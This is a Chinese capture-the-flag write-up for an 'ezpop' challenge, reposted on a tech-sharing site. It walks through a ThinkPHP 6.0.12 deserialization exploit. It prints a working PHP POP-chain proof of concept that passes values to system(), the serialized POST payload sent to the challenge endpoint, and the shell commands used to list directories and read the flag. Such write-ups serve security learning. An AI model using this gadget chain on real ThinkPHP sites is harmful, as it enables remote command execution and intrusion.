标签:writeup 初赛 think ezpop Pivot model data whoami dir
先在网上搜一波 ThinkPHP V6.0.12LTS 的漏洞
简书:https://www.jianshu.com/p/92018015ec5e
POC
<?php
namespace think{
abstract class Model{
private $lazySave = false;
private $data = [];
private $exists = false;
protected $table;
private $withAttr = [];
protected $json = [];
protected $jsonAssoc = false;
function __construct($obj = ''){
$this->lazySave = True;
$this->data = ['whoami' => ['dir']];
$this->exists = True;
$this->table = $obj;
$this->withAttr = ['whoami' => ['system']];
$this->json = ['whoami',['whoami']];
$this->jsonAssoc = True;
}
}
}
namespace think\model{
use think\Model;
class Pivot extends Model{
}
}
namespace{
echo(base64_encode(serialize(new think\model\Pivot(new think\model\Pivot()))));
}
后台扫描
发现了网站备份文件 www.zip
下载下来,解压,发现了源码
代码审计
在 Index 控制器中发现了相应的 反序列化 漏洞
访问 http://eci-2ze3qe3v4f3btci34jeh.cloudeci1.ichunqiu.com/index.php/Index/test
POST a=O:17:"think\model\Pivot":7:{s:21:"think\ModellazySave";b:1;s:17:"think\Modeldata";a:1:{s:6:"whoami";a:1:{i:0;s:3:"dir";}}s:19:"think\Modelexists";b:1;s:8:"table";O:17:"think\model\Pivot":7:{s:21:"think\ModellazySave";b:1;s:17:"think\Modeldata";a:1:{s:6:"whoami";a:1:{i:0;s:3:"dir";}}s:19:"think\Modelexists";b:1;s:8:"table";s:0:"";s:21:"think\ModelwithAttr";a:1:{s:6:"whoami";a:1:{i:0;s:6:"system";}}s:7:"json";a:2:{i:0;s:6:"whoami";i:1;a:1:{i:0;s:6:"whoami";}}s:12:"jsonAssoc";b:1;}s:21:"think\ModelwithAttr";a:1:{s:6:"whoami";a:1:{i:0;s:6:"system";}}s:7:"json";a:2:{i:0;s:6:"whoami";i:1;a:1:{i:0;s:6:"whoami";}}s:12:"jsonAssoc";b:1;}
POST数据就是之前那个简书的代码运行出来,然后base64解码即可
得到当前目录的文件
继续利用漏洞
将 简书的代码中的 $this->data = ['whoami' => ['dir']];
改成$this->data = ['whoami' => ['ls /']];
然后把结果 base64 解码
得到根目录的文件
将 简书的代码中的 $this->data = ['whoami' => ['dir']];
改成$this->data = ['whoami' => ['tac /f*']];
get flag
标签:writeup,初赛,think,ezpop,Pivot,model,data,whoami,dir 来源: https://www.cnblogs.com/cfqlovem-521/p/16323975.html
本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享; 2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关; 3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关; 4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除; 5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。